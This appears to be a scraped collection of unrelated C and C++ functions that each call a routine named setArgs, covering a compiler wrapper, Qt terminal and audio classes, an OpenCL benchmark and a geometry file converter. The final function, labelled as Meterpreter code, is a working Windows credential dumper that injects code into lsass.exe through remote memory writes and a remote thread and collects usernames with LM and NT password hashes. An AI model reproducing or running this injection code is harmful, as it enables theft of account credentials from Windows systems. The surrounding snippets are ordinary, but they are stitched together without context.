CompilerInterface::CompilerInterface(const Option &t)
{
FUNCTION_TRACE;
init();
options_p = &t;
setArgs(options_p->param_args(),args_org);
setArgs(options_p->param_args());
preprocessorfile[0]=0;
}
int main(int argc, char **argv)
{
TParams params = setArgs(argc, argv);
if (params.status != EOK)
{
fprintf(stderr, EMSG[params.status]);
return EXIT_FAILURE;
}
switch (params.operation)
{
case HELP:
printHelp();
break;
case TAN:
calculateTan(params.values);
break;
case MEASURE:
calculateDistance(params.values);
break;
}
return EXIT_SUCCESS;
}
HsQMLManager::HsQMLManager(
void (*freeFun)(HsFunPtr),
void (*freeStable)(HsStablePtr))
: mLogLevel(0)
, mAtExit(false)
, mFreeFun(freeFun)
, mFreeStable(freeStable)
, mOriginalHandler(qcoreVariantHandler())
, mApp(NULL)
, mLock(QMutex::Recursive)
, mRunning(false)
, mRunCount(0)
, mShutdown(false)
, mStackBase(NULL)
, mStartCb(NULL)
, mJobsCb(NULL)
, mYieldCb(NULL)
, mActiveEngine(NULL)
{
// Set default Qt args
setArgs(QStringList("HsQML"));
// Get log level from environment
const char* env = std::getenv("HSQML_DEBUG_LOG_LEVEL");
if (env) {
setLogLevel(QString(env).toInt());
}
}
std::shared_ptr<ir::Expr> LoadRealMatrixFuncDecl::getNew(
std::vector<std::shared_ptr<ir::Expr>>& args,
fabrica::TypeFactory* fact) const {
// Type Checking
auto mat_ty = fact->getTy(ir::IRConstString::MATRIX);
auto int_ty = fact->getTy(ir::IRConstString::INT);
auto str_ty = fact->getTy(ir::IRConstString::STRING);
if (args.size() < 1 || args[0] == nullptr || args[0]->getTyp() != str_ty)
return nullptr;
for (size_t i = 1; i < args.size(); ++i) {
if (args[i] == nullptr || args[i]->getTyp() != int_ty)
return nullptr;
}
if (args.size() > 5) return nullptr;
if (args.size() == 4) return nullptr;
auto func = std::make_shared<ir::FunctionCall>(this);
func->setArgs(args);
// check randomness
for (auto& a : args) {
if (a->isRandom())
func->setRandom(true);
}
func->setTyp(mat_ty);
return func;
}
void HashTypeChecker::start()
{
// We make sure last process is terminated correctly before
// loading a new password file.
terminate();
setArgs(QStringList() << "--show=types" << m_passwordFiles);
JohnHandler::start();
}
void UFunctionTag::editArgs()
{
bool ok;
QString input=QInputDialog::getText(0,"Edit arguments list","Argument list: [Separate with ,]",QLineEdit::Normal,args,&ok);
if(ok)
{
setArgs(input.split(','));
}
}
int remove_doc(Context &ctx, int argc, char *argv[]) {
del_args args;
if(setArgs(args, argc -1, argv +1)) {
print_help(
" idPage: document to remove\n"
" HOST PORT\n"
);
return -1;
}
return perform_remove(ctx, args);
}
int add_company(Context &ctx, int argc, char *argv[]) {
mod_company_args args;
if(setArgs(args, argc -1, argv +1)) {
print_help(
" NAME: name of the company\n"
" HOST PORT\n"
);
return -1;
}
return perform_add_company(ctx, args);
}
bool CompilerInterface::restrictArgs(const char* selected_source,Argv &backup_args )
{
FUNCTION_TRACE;
int i;
backup_args=param_args();
Argv new_args;
for (i=0;i<backup_args.argc();i++)
{
const char *file=backup_args[i];
if (!isSource(file) || filename_strcmp(selected_source,file)==0)
new_args.append(file);
}
setArgs(new_args);
return true;
}
AudioInfo::AudioInfo(const QAudioFormat &format, QObject *parent)
: QIODevice(parent)
, m_format(format)
, m_maxAmplitude(0)
, m_level(0.0)
, m_isNeedSaveFile(true)
, m_isNeedSaveTmpFiles(false)
, underlyingDevice(NULL)
, criticalValue(5000)
, isCriticalOver(false)
, kOverValue(1.5)
, m_isAuto(true)
{
setArgs();
switch (m_format.sampleSize()) {
case 8:
switch (m_format.sampleType()) {
case QAudioFormat::UnSignedInt:
m_maxAmplitude = 255;
break;
case QAudioFormat::SignedInt:
m_maxAmplitude = 127;
break;
default:
break;
}
break;
case 16:
switch (m_format.sampleType()) {
case QAudioFormat::UnSignedInt:
m_maxAmplitude = 65535;
break;
case QAudioFormat::SignedInt:
m_maxAmplitude = 32767;
break;
default:
break;
}
break;
default:
break;
}
}
TermWidgetImpl::TermWidgetImpl(const QString & wdir, const QString & shell, QWidget * parent)
: QTermWidget(0, parent)
{
TermWidgetCount++;
QString name("TermWidget_%1");
setObjectName(name.arg(TermWidgetCount));
setFlowControlEnabled(FLOW_CONTROL_ENABLED);
setFlowControlWarningEnabled(FLOW_CONTROL_WARNING_ENABLED);
propertiesChanged();
setHistorySize(5000);
if (!wdir.isNull())
setWorkingDirectory(wdir);
if (shell.isNull())
{
if (!Properties::Instance()->shell.isNull())
setShellProgram(Properties::Instance()->shell);
}
else
{
qDebug() << "Settings custom shell program:" << shell;
QStringList parts = shell.split(QRegExp("\\s+"), QString::SkipEmptyParts);
qDebug() << parts;
setShellProgram(parts.at(0));
parts.removeAt(0);
if (parts.count())
setArgs(parts);
}
setMotionAfterPasting(Properties::Instance()->m_motionAfterPaste);
setContextMenuPolicy(Qt::CustomContextMenu);
connect(this, SIGNAL(customContextMenuRequested(const QPoint &)),
this, SLOT(customContextMenuCall(const QPoint &)));
connect(this, SIGNAL(urlActivated(QUrl)), this, SLOT(activateUrl(const QUrl&)));
startShellProgram();
}
SpeechDetector::SpeechDetector(const QAudioFormat &format, QObject *parent)
: QIODevice(parent)
, m_format(format)
, m_maxAmplitude(0)
, m_level(0)
, criticalValue(5000)
, isCriticalOver(false)
, kOverValue(1.5)
, m_isAuto(true)
{
setArgs();
switch (m_format.sampleSize()) {
case 8:
switch (m_format.sampleType()) {
case QAudioFormat::UnSignedInt:
m_maxAmplitude = 255;
break;
case QAudioFormat::SignedInt:
m_maxAmplitude = 127;
break;
default:
break;
}
break;
case 16:
switch (m_format.sampleType()) {
case QAudioFormat::UnSignedInt:
m_maxAmplitude = 65535;
break;
case QAudioFormat::SignedInt:
m_maxAmplitude = 32767;
break;
default:
break;
}
break;
default:
break;
}
}
std::shared_ptr<ir::Expr> DiscreteDistrDecl::getNew(
std::vector<std::shared_ptr<ir::Expr>>& args,
fabrica::TypeFactory* fact) const {
// Type Checking
if (args.size() != 1 || args[0] == nullptr)
return nullptr;
// Note: We only accept array<double>
auto dbl = fact->getTy(ir::IRConstString::DOUBLE);
auto ary_dbl = fact->getUpdateTy(new ir::ArrayTy(dbl, 1));
auto mtrx = fact->getTy(ir::IRConstString::MATRIX);
if (args[0]->getTyp() != ary_dbl && args[0]->getTyp() != mtrx)
return nullptr;
auto ret = std::make_shared<ir::Distribution>(this->getName(), this);
ret->setArgs(args);
ret->setTyp(fact->getTy(ir::IRConstString::INT));
ret->processArgRandomness();
ret->setRandom(true);
return ret;
}
virtual void update() {
PROFILE_BEGIN_FRAME()
glFinish();
std::vector<cl::Memory> acquireGLMems = {texMem};
commands.enqueueAcquireGLObjects(&acquireGLMems);
//run kernel
cl::NDRange globalSize = cl::NDRange(size(0), size(1));
cl::NDRange localSize = cl::NDRange(16, 16);
cl::NDRange offset = cl::NDRange(0, 0);
//update new buffer and display texture
setArgs(updateKernel, updateBuffers[!bufferIndex], updateBuffers[bufferIndex], texMem);
commands.enqueueNDRangeKernel(updateKernel, offset, globalSize, localSize);
bufferIndex = !bufferIndex;
commands.enqueueReleaseGLObjects(&acquireGLMems);
commands.finish();
//clear screen buffer
Super::update();
//transforms
glLoadIdentity();
glTranslatef(-viewPos(0), -viewPos(1), 0);
glScalef(viewZoom, viewZoom, viewZoom);
//display
glBindTexture(GL_TEXTURE_2D, texID);
glEnable(GL_TEXTURE_2D);
glBegin(GL_QUADS);
glTexCoord2f(0,0); glVertex2f(-.5f, -.5f);
glTexCoord2f(1,0); glVertex2f(.5f, -.5f);
glTexCoord2f(1,1); glVertex2f(.5f, .5f);
glTexCoord2f(0,1); glVertex2f(-.5f, .5f);
glEnd();
glBindTexture(GL_TEXTURE_2D, 0);
PROFILE_END_FRAME()
}
/**
* @param stageStr a pointer to a string representing the pipe stage.
* @param stageInputs a pointer to a string representing
* the input stream of the function.
* @param stageOutputs a pointer to a string representing
* the output stream of the function.
* @param argc the number of command line arguments for the command.
* @param argv an array of strings of command line arguments.
*/
cmdNode *buildCommand(char *stageStr, char *stageInputs, char *stageOutputs,
int argc, char *argv[], int stageNum) {
cmdNode *newNode = (cmdNode *) malloc(sizeof(cmdNode));
setStageNum(newNode, stageNum++);
//if there is no input or output redirection then the command
//reads or writes to stdin or stdout respectively.
//find a way to set input and outputs as FDs instead of strings
if (stageInputs == NULL) {
setStageInFD(newNode, 1);
}
else if (*stageInputs == ' ') {
setStageInFD(newNode, 0);
}
else {
setStageIn(newNode, stageInputs);
}
if (stageOutputs == NULL) {
setStageOutFD(newNode, 1);
//setStageOut(newNode, "original stdout");
}
else if (*stageOutputs == ' ') {
setStageOutFD(newNode, 0);
/*pipeStageNum = (stageNum + '0');
strcpy(pipeIO, "pipe to stage \0");
setStageOut(newNode, strcat(pipeIO, &pipeStageNum));*/
}
else {
setStageOut(newNode, stageOutputs);
}
setArgs(newNode, argc + 1, argv);
return newNode;
}
void CompilerInterface::setArgs(const Argv &v)
{
FUNCTION_TRACE;
setArgs(v,args);
}
ProcessArgs(const std::vector<std::string>& args)
: argCount_(0), args_(NULL)
{
setArgs(args);
}
GCall& pass(Ts&&... args)
{
setArgs({cv::GArg(std::move(args))...});
return *this;
}
TermWidgetImpl::TermWidgetImpl(const QString & wdir, const QString & shell, QWidget * parent)
: QTermWidget(0, parent)
{
TermWidgetCount++;
QString name("TermWidget_%1");
setObjectName(name.arg(TermWidgetCount));
setFlowControlEnabled(FLOW_CONTROL_ENABLED);
setFlowControlWarningEnabled(FLOW_CONTROL_WARNING_ENABLED);
propertiesChanged();
setHistorySize(5000);
if (!wdir.isNull())
setWorkingDirectory(wdir);
if (shell.isNull())
{
if (!Properties::Instance()->shell.isNull())
setShellProgram(Properties::Instance()->shell);
}
else
{
qDebug() << "Settings custom shell program:" << shell;
QStringList parts = shell.split(QRegExp("\\s+"), QString::SkipEmptyParts);
qDebug() << parts;
setShellProgram(parts.at(0));
parts.removeAt(0);
if (parts.count())
setArgs(parts);
}
setMotionAfterPasting(Properties::Instance()->m_motionAfterPaste);
actionMap[COPY_SELECTION] = new QAction(QIcon(":/icons/edit-copy.png"), tr(COPY_SELECTION), this);
connect(actionMap[COPY_SELECTION], SIGNAL(triggered()), this, SLOT(copyClipboard()));
addAction(actionMap[COPY_SELECTION]);
actionMap[PASTE_CLIPBOARD] = new QAction(QIcon(":/icons/edit-paste.png"), tr(PASTE_CLIPBOARD), this);
connect(actionMap[PASTE_CLIPBOARD], SIGNAL(triggered()), this, SLOT(pasteClipboard()));
addAction(actionMap[PASTE_CLIPBOARD]);
actionMap[PASTE_SELECTION] = new QAction(QIcon(":/icons/edit-paste.png"), tr(PASTE_SELECTION), this);
connect(actionMap[PASTE_SELECTION], SIGNAL(triggered()), this, SLOT(pasteSelection()));
addAction(actionMap[PASTE_SELECTION]);
actionMap[ZOOM_IN] = new QAction(QIcon(":/icons/zoom-in.png"), tr(ZOOM_IN), this);
connect(actionMap[ZOOM_IN], SIGNAL(triggered()), this, SLOT(zoomIn()));
addAction(actionMap[ZOOM_IN]);
actionMap[ZOOM_OUT] = new QAction(QIcon(":/icons/zoom-out.png"), tr(ZOOM_OUT), this);
connect(actionMap[ZOOM_OUT], SIGNAL(triggered()), this, SLOT(zoomOut()));
addAction(actionMap[ZOOM_OUT]);
actionMap[ZOOM_RESET] = new QAction(QIcon(":/icons/zoom-out.png"), tr(ZOOM_RESET), this);
connect(actionMap[ZOOM_RESET], SIGNAL(triggered()), this, SLOT(zoomReset()));
addAction(actionMap[ZOOM_RESET]);
QAction *act = new QAction(this);
act->setSeparator(true);
addAction(act);
actionMap[CLEAR_TERMINAL] = new QAction(tr(CLEAR_TERMINAL), this);
connect(actionMap[CLEAR_TERMINAL], SIGNAL(triggered()), this, SLOT(clear()));
addAction(actionMap[CLEAR_TERMINAL]);
actionMap[SPLIT_HORIZONTAL] = new QAction(tr(SPLIT_HORIZONTAL), this);
connect(actionMap[SPLIT_HORIZONTAL], SIGNAL(triggered()), this, SLOT(act_splitHorizontal()));
addAction(actionMap[SPLIT_HORIZONTAL]);
actionMap[SPLIT_VERTICAL] = new QAction(tr(SPLIT_VERTICAL), this);
connect(actionMap[SPLIT_VERTICAL], SIGNAL(triggered()), this, SLOT(act_splitVertical()));
addAction(actionMap[SPLIT_VERTICAL]);
actionMap[SUB_COLLAPSE] = new QAction(tr(SUB_COLLAPSE), this);
connect(actionMap[SUB_COLLAPSE], SIGNAL(triggered()), this, SLOT(act_splitCollapse()));
addAction(actionMap[SUB_COLLAPSE]);
//act = new QAction(this);
//act->setSeparator(true);
//addAction(act);
//
//act = new QAction(tr("&Rename session..."), this);
//act->setShortcut(Properties::Instance()->shortcuts[RENAME_SESSION]);
//connect(act, SIGNAL(triggered()), this, SIGNAL(renameSession()));
//addAction(act);
setContextMenuPolicy(Qt::CustomContextMenu);
connect(this, SIGNAL(customContextMenuRequested(const QPoint &)),
this, SLOT(customContextMenuCall(const QPoint &)));
updateShortcuts();
//setKeyBindings("linux");
startShellProgram();
}
int main(int argc, char *argv[])
{
logger.setLogLevel(Logging::Debug);
struct args a;
setArgs(a, argc, argv);
GU_Detail gdp;
bool binary = false;
bool bbox = false;
if( a.b )
binary = true;
// convert all files in directory from hsff to geo or bgeo
if (a.cd || a.c)
{
logger.debug("Found argument -cd or -c, trying to convert files in a directory.");
std::vector<std::string> filesToConvert;
if( a.cd )
{
logger.debug("Found argument -cd trying to convert files in a directory.");
std::string info("Directory: ");
info += a.cdDir;
logger.debug(info);
if( binary )
logger.debug("Exporting binary bgeo files");
else
logger.debug("Exporting ascii geo files");
//dirname.harden(argv[1]); // what does this mean, harden???
fs::path p(a.cdDir);
getHsffFiles(p, filesToConvert, binary);
}else{
logger.debug("Found argument -c trying to convert exactly one file.");
//filename = UT_String(args.argp('c'));
std::string info("Filename.");
info += a.cFile;
logger.debug(info);
filesToConvert.push_back(a.cFile);
}
// export geo loop
for( uint fId = 0; fId < filesToConvert.size(); fId++)
{
Hsff inFile(filesToConvert[fId]);
if(!inFile.good)
{
logger.error(std::string("Error: problems reading file ") + filesToConvert[fId]);
//cerr << "Error: problems reading file " << filesToConvert[fId] << "\n";
inFile.close();
continue;
}
logger.debug(std::string("Converting file ") + filesToConvert[fId]);
//cout << "Converting " << filesToConvert[fId] << "\n";
inFile.doBinary = binary;
unsigned int geoType = inFile.readGeoType();
switch(geoType)
{
case PARTICLE:
//cout << "Detected particle file.\n";
createParticleGeo(inFile);
break;
case FLUID:
//cout << "Detected fluid file.\n";
createFluidGeo(inFile);
break;
case MESH:
//cout << "Detected mesh file.\n";
createMeshGeo(inFile);
break;
case CURVE:
//cout << "Detected curve file.\n";
createCurveGeo(inFile);
break;
case NURBS:
//cout << "Detected nurbs file.\n";
createNurbsGeo(inFile);
break;
}
inFile.close();
}
return 0;
}
// get bbox from 1st argument
if (a.bbox)
{
std::string info("Getting BBox of ");
info += a.bboxfile;
logger.debug(info);
if( !isValid(fs::path(a.bboxfile)))
{
logger.error("Could not read file.");
return 1;
}
UT_BoundingBox bbox;
getBBox(a.bboxfile, bbox);
cout << "BBox: " << bbox.xmin() << " " << bbox.ymin() << " " << bbox.zmin() << " " << bbox.xmax() << " " << bbox.ymax() << " " << bbox.zmax() << "\n";
}
if (a.ptc)
{
std::string info("Getting pointcloud of ");
info += a.ptcfile;
logger.debug(info);
std::string outFile = pystring::replace(a.ptcfile, ".geo", ".hsffp"); // add a 'p' to show that it is a point cloud file from this tool
if( pystring::endswith(a.ptcfile, "bgeo"))
outFile = pystring::replace(a.ptcfile, ".bgeo", ".hsffp"); // add a 'p' to show that it is a point cloud file from this tool
UT_BoundingBox bbox;
readPtc(a.ptcfile, outFile, a.ptcdv, bbox);
cout << "BBox: " << bbox.xmin() << " " << bbox.ymin() << " " << bbox.zmin() << " " << bbox.xmax() << " " << bbox.ymax() << " " << bbox.zmax() << "\n";
}
//cout << "numargs: " << args.argc() << "\n";
// if (args.argc() == 3)
//{
// UT_String dobin;
//
// dobin.harden(argv[2]);
// if(dobin.isInteger())
// {
// if( dobin.toInt() == 0)
// binary = true;
// else
// binary = false;
// }
//}
//if(binary)
// cout << "Writing from source dir " << dirname << " as binary\n";
//else
// cout << "Writing from source dir " << dirname << " as ascii\n";
return 0;
}
/** Run the OpenCL kernel */
short runOpenCL(struct benchmark *bench)
{
short j;
#ifdef DEBUG
printf("TEST OPENCL\n");
#endif
/**********************
Initializations
**********************/
error=clGetPlatformIDs(1,&platform,NULL);
if (error != CL_SUCCESS)
{
fprintf(stderr,"Error to get platform ID : %d\n",error);
goto error;
}
error=clGetDeviceIDs(platform,CL_DEVICE_TYPE_GPU,1,&device,NULL);
if (error != CL_SUCCESS)
{
fprintf(stderr,"Error to get device ID : %d\n",error);
goto error;
}
if (error != CL_SUCCESS)
{
fprintf(stderr,"Can't get device info : %d\n",error);
goto error;
}
context = clCreateContext(0,1,&device,NULL,NULL,&error);
if (error != CL_SUCCESS)
{
fprintf(stderr,"Error to create context : %d\n",error);
goto error;
}
size_t maxWorkItemDim;
size_t maxWorkGroupSize;
size_t workItemSize[10];
error = clGetDeviceInfo(device,CL_DEVICE_MAX_WORK_ITEM_DIMENSIONS,sizeof(size_t),&maxWorkItemDim,NULL);
if (error != CL_SUCCESS)
{
fprintf(stderr,"Can't get max work item dimensions : %d\n",error);
goto errorContext;
}
error = clGetDeviceInfo(device,CL_DEVICE_MAX_WORK_ITEM_SIZES,maxWorkItemDim*sizeof(size_t),workItemSize,NULL);
if (error != CL_SUCCESS)
{
fprintf(stderr,"Can't get mwork item sizes : %d\n",error);
goto errorContext;
}
error = clGetDeviceInfo(device,CL_DEVICE_MAX_WORK_GROUP_SIZE,sizeof(size_t),&maxWorkGroupSize,NULL);
if (error != CL_SUCCESS)
{
fprintf(stderr,"Can't get max work item dimensions : %d\n",error);
goto errorContext;
}
queue = clCreateCommandQueue(context, device, CL_QUEUE_PROFILING_ENABLE ,&error);
if (error != CL_SUCCESS)
{
fprintf(stderr,"Error to create command queue : %d\n",error);
goto errorContext;
}
/**********************
Memory allocations
**********************/
long i;
#ifdef DEBUG
printf("Create buffers\n");
#endif
double createBufTime;
createBufTime = createBuffers(context,bench);
/**********************
OpenCL kernel
**********************/
cl_program program;
char *fileContent;
FILE *f;
struct stat fState;
char path[256];
strcpy(path,"Kernels/");
strcat(path,bench->kernel);
stat(path,&fState);
f=fopen(path,"r");
fileContent=malloc(fState.st_size*sizeof(char));
fread(fileContent,sizeof(char),fState.st_size,f);
fclose(f);
program=clCreateProgramWithSource(context,1,(const char**)&fileContent,&fState.st_size,&error);
free(fileContent);
if (error != CL_SUCCESS)
{
fprintf(stderr,"Can't create program : %d\n",error);
goto errorBuffer;
}
/*error=clBuildProgram(program,1,&device,"-cl-fast-relaxed-math",NULL,NULL);*/
error=clBuildProgram(program,1,&device,"",NULL,NULL);
if (error != CL_SUCCESS)
{
fprintf(stderr,"Can't build program : %d\n",error);
goto errorProgram;
}
cl_kernel kernel=clCreateKernel(program,"mainKernel",&error);
if (error != CL_SUCCESS)
{
fprintf(stderr,"Can't create kernel : %d\n",error);
goto errorProgram;
}
/**********************
Launching the kernel
**********************/
#ifdef DEBUG
printf("Set args\n");
#endif
setArgs(kernel,bench);
cl_ulong lStart;
cl_ulong lEnd;
double fTimeInSeconds;
double fFLOPS;
#ifdef DEBUG
printf("Compute\n");
printf("%d\n",bench->worksizeDim);
for(i=0;i<bench->worksizeDim;i++)
{
printf(" GLOBAL -> %d\n",bench->global_ws[i]);
printf(" LOCAL -> %d\n",bench->local_ws[i]);
}
#endif
double writeBufTime;
writeBufTime=writeInputs(queue,bench);
double computeTime=getCurrentTime();
error=clEnqueueNDRangeKernel(queue, kernel,bench->worksizeDim, NULL,bench->global_ws, bench->local_ws,0,NULL,&event);
if (error != CL_SUCCESS)
{
fprintf(stderr,"Can't enqueue kernel : %d\n",error);
goto errorKernel;
}
clFinish(queue);
computeTime= getCurrentTime() - computeTime;
#ifdef DEBUG
printf("Read results\n");
#endif
double readBufTime;
readBufTime=readResults(queue,bench);
error = clGetEventProfilingInfo(event,CL_PROFILING_COMMAND_START,sizeof(cl_ulong),&lStart,NULL);
error |= clGetEventProfilingInfo(event,CL_PROFILING_COMMAND_END ,sizeof(cl_ulong),&lEnd,NULL);
if (error != CL_SUCCESS)
{
fprintf(stderr,"Can't get profiling info : %d\n",error);
goto errorEvent;
}
fTimeInSeconds = ((double)(lEnd-lStart)) / 1000000000.0;
/* Send timing */
write(newsockfd,"t\n",2*sizeof(char));
sprintf(result,"%f\n",createBufTime);
write(newsockfd,result,strlen(result));
sprintf(result,"%f\n",writeBufTime);
write(newsockfd,result,strlen(result));
sprintf(result,"%f\n",fTimeInSeconds);
write(newsockfd,result,strlen(result));
sprintf(result,"%f\n",readBufTime);
write(newsockfd,result,strlen(result));
/*sprintf(result,"%f\n",computeTime);
write(newsockfd,result,strlen(result));
*/
/* Send results */
sendResults(bench);
errorEvent:
clReleaseEvent(event);
errorKernel:
clReleaseKernel(kernel);
/**********************
Cleanup
**********************/
errorProgram:
clReleaseProgram(program);
errorBuffer:
clReleaseCommandQueue(queue);
releaseBuffers(bench);
errorContext:
clReleaseContext(context);
/**
HORRIBLE error processing. It may create memory leaks. It will have to be improved.
*/
error:
return (error != CL_SUCCESS);
}
QtArgumentParser::QtArgumentParser(const QStringList& args)
{
setArgs(args);
}
/*
control function driving the dumping - return 0 on success, 1 on error
dwMillisecondsToWait = basically controls how long to wait for the results
*/
int __declspec(dllexport) control(DWORD dwMillisecondsToWait, char **hashresults) {
HANDLE hThreadHandle = NULL, hLsassHandle = NULL, hReadLock = NULL, hFreeLock = NULL;
LPVOID pvParameterMemory = NULL, pvFunctionMemory = NULL;
int FunctionSize;
SIZE_T sBytesWritten = 0, sBytesRead = 0;
DWORD dwThreadId = 0, dwNumberOfUsers = 0, dwCurrentUserIndex = 0, HashIndex = 0;
FUNCTIONARGS InitFunctionArguments, FinalFunctionArguments;
USERNAMEHASH *UsernameHashResults = NULL;
PVOID UsernameAddress = NULL;
DWORD dwError = 0;
char *hashstring = NULL;
/* METERPRETER CODE */
char buffer[100];
/* END METERPRETER CODE */
do {
/* ORANGE control input - move this to the client perl side */
if (dwMillisecondsToWait < 60000) { dwMillisecondsToWait = 60000; }
if (dwMillisecondsToWait > 300000) { dwMillisecondsToWait = 300000; }
/* create the event kernel sync objects */
hReadLock = CreateEvent(NULL, FALSE, FALSE, "SAM");
hFreeLock = CreateEvent(NULL, FALSE, FALSE, "FREE");
if (!hReadLock || !hFreeLock) { dwError = 1; break; }
/* calculate the function size */
FunctionSize = (DWORD)sizer - (DWORD)dumpSAM;
if (FunctionSize <= 0) {
printf("Error calculating the function size.\n");
dwError = 1;
break;
}
/* set access priv */
if (SetAccessPriv() == 0) {
printf("Error setting SE_DEBUG_NAME privilege\n");
dwError = 1;
break;
}
/* get the lsass handle */
hLsassHandle = GetLsassHandle();
if (hLsassHandle == 0) {
printf("Error getting lsass.exe handle.\n");
dwError = 1;
break;
}
/* set the arguments in the context structure */
if (setArgs(&InitFunctionArguments, dwMillisecondsToWait)) { dwError = 1; break; }
/* allocate memory for the context structure */
pvParameterMemory = VirtualAllocEx(hLsassHandle, NULL, sizeof(FUNCTIONARGS), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (pvParameterMemory == NULL) { dwError = 1; break; }
/* write context structure into remote process */
if (WriteProcessMemory(hLsassHandle, pvParameterMemory, &InitFunctionArguments, sizeof(InitFunctionArguments), &sBytesWritten) == 0) { dwError = 1; break; }
if (sBytesWritten != sizeof(InitFunctionArguments)) { dwError = 1; break; }
sBytesWritten = 0;
/* allocate memory for the function */
pvFunctionMemory = VirtualAllocEx(hLsassHandle, NULL, FunctionSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (pvFunctionMemory == NULL) { dwError = 1; break; }
/* write the function into the remote process */
if (WriteProcessMemory(hLsassHandle, pvFunctionMemory, dumpSAM, FunctionSize, &sBytesWritten) == 0) { dwError = 1; break; }
if (sBytesWritten != FunctionSize) { dwError = 1; break; }
sBytesWritten = 0;
/* start the remote thread */
if ((hThreadHandle = CreateRemoteThread(hLsassHandle, NULL, 0, (LPTHREAD_START_ROUTINE)pvFunctionMemory, pvParameterMemory, 0, &dwThreadId)) == NULL) { dwError = 1; break; }
/* wait until the data is ready to be collected */
if (WaitForSingleObject(hReadLock, dwMillisecondsToWait) != WAIT_OBJECT_0) {
printf("Timed out waiting for the data to be collected.\n");
dwError = 1;
break;
}
/* read results of the injected function */
if (ReadProcessMemory(hLsassHandle, pvParameterMemory, &FinalFunctionArguments, sizeof(InitFunctionArguments), &sBytesRead) == 0) { dwError = 1; break; }
if (sBytesRead != sizeof(InitFunctionArguments)) { dwError = 1; break; }
sBytesRead = 0;
/* allocate space for the results */
UsernameHashResults = (USERNAMEHASH *)malloc(FinalFunctionArguments.dwDataSize);
if (UsernameHashResults == NULL) { dwError = 1; break; }
/* determine the number of elements and copy over the data */
dwNumberOfUsers = FinalFunctionArguments.dwDataSize / sizeof(USERNAMEHASH);
/* copy the context structure */
if (ReadProcessMemory(hLsassHandle, FinalFunctionArguments.pUsernameHashData, UsernameHashResults, FinalFunctionArguments.dwDataSize, &sBytesRead) == 0) { break; }
if (sBytesRead != FinalFunctionArguments.dwDataSize) { break; }
sBytesRead = 0;
// save the old mem addy, malloc new space, copy over the data, free the old mem addy
for (dwCurrentUserIndex = 0; dwCurrentUserIndex < dwNumberOfUsers; dwCurrentUserIndex++) {
UsernameAddress = UsernameHashResults[dwCurrentUserIndex].Username;
UsernameHashResults[dwCurrentUserIndex].Username = (char *)malloc(UsernameHashResults[dwCurrentUserIndex].Length);
if (UsernameHashResults[dwCurrentUserIndex].Username == NULL) { dwError = 1; break; }
if (ReadProcessMemory(hLsassHandle, UsernameAddress, UsernameHashResults[dwCurrentUserIndex].Username, UsernameHashResults[dwCurrentUserIndex].Length, &sBytesRead) == 0) { dwError = 1; break; }
if (sBytesRead != UsernameHashResults[dwCurrentUserIndex].Length) { dwError = 1; break; }
}
/* signal that all data has been read and wait for the remote memory to be free'd */
if (SetEvent(hFreeLock) == 0) { dwError = 1; break; }
if (WaitForSingleObject(hReadLock, dwMillisecondsToWait) != WAIT_OBJECT_0) {
printf("The timeout pooped.\n");
dwError = 1;
break;
}
/* display the results and free the malloc'd memory for the username */
for (dwCurrentUserIndex = 0; dwCurrentUserIndex < dwNumberOfUsers; dwCurrentUserIndex++) {
/* METERPRETER CODE */
hashstring = StringCombine(hashstring, UsernameHashResults[dwCurrentUserIndex].Username);
hashstring = StringCombine(hashstring, ":");
_snprintf(buffer, 30, "%d", UsernameHashResults[dwCurrentUserIndex].RID);
hashstring = StringCombine(hashstring, buffer);
hashstring = StringCombine(hashstring, ":");
/* END METERPRETER CODE */
//printf("%s:%d:", UsernameHashResults[dwCurrentUserIndex].Username, UsernameHashResults[dwCurrentUserIndex].RID);
for (HashIndex = 16; HashIndex < 32; HashIndex++) {
/* ORANGE - insert check for ***NO PASSWORD***
if( (regData[4] == 0x35b4d3aa) && (regData[5] == 0xee0414b5)
&& (regData[6] == 0x35b4d3aa) && (regData[7] == 0xee0414b5) )
sprintf( LMdata, "NO PASSWORD*********************" );
*/
_snprintf(buffer, 3, "%02x", (BYTE)(UsernameHashResults[dwCurrentUserIndex].Hash[HashIndex]));
hashstring = StringCombine(hashstring, buffer);
//printf("%02x", (BYTE)(UsernameHashResults[dwCurrentUserIndex].Hash[HashIndex]));
}
hashstring = StringCombine(hashstring, ":");
//printf(":");
for (HashIndex = 0; HashIndex < 16; HashIndex++) {
/* ORANGE - insert check for ***NO PASSWORD***
if( (regData[0] == 0xe0cfd631) && (regData[1] == 0x31e96ad1)
&& (regData[2] == 0xd7593cb7) && (regData[3] == 0xc089c0e0) )
sprintf( NTdata, "NO PASSWORD*********************" );
*/
_snprintf(buffer, 3, "%02x", (BYTE)(UsernameHashResults[dwCurrentUserIndex].Hash[HashIndex]));
hashstring = StringCombine(hashstring, buffer);
//printf("%02x", (BYTE)(UsernameHashResults[dwCurrentUserIndex].Hash[HashIndex]));
}
hashstring = StringCombine(hashstring, ":::\n");
//printf(":::\n");
}
} while(0);
/* relesase the event objects */
if (hReadLock) { CloseHandle(hReadLock); }
if (hFreeLock) { CloseHandle(hFreeLock); }
/* close handle to lsass */
if (hLsassHandle) { CloseHandle(hLsassHandle); }
/* free the context structure and the injected function and the results */
if (pvParameterMemory) { VirtualFreeEx(hLsassHandle, pvParameterMemory, sizeof(FUNCTIONARGS), MEM_RELEASE); }
if (pvFunctionMemory) { VirtualFreeEx(hLsassHandle, pvFunctionMemory, FunctionSize, MEM_RELEASE); }
/* free the remote thread handle */
if (hThreadHandle) { CloseHandle(hThreadHandle); }
/* free the results structure including individually malloced space for usernames */
if (UsernameHashResults) {
for (dwCurrentUserIndex = 0; dwCurrentUserIndex < dwNumberOfUsers; dwCurrentUserIndex++) {
if (UsernameHashResults[dwCurrentUserIndex].Username) {
free(UsernameHashResults[dwCurrentUserIndex].Username);
}
}
free(UsernameHashResults);
}
/* return hashresults */
*hashresults = hashstring;
/* return the correct code */
return dwError;
}
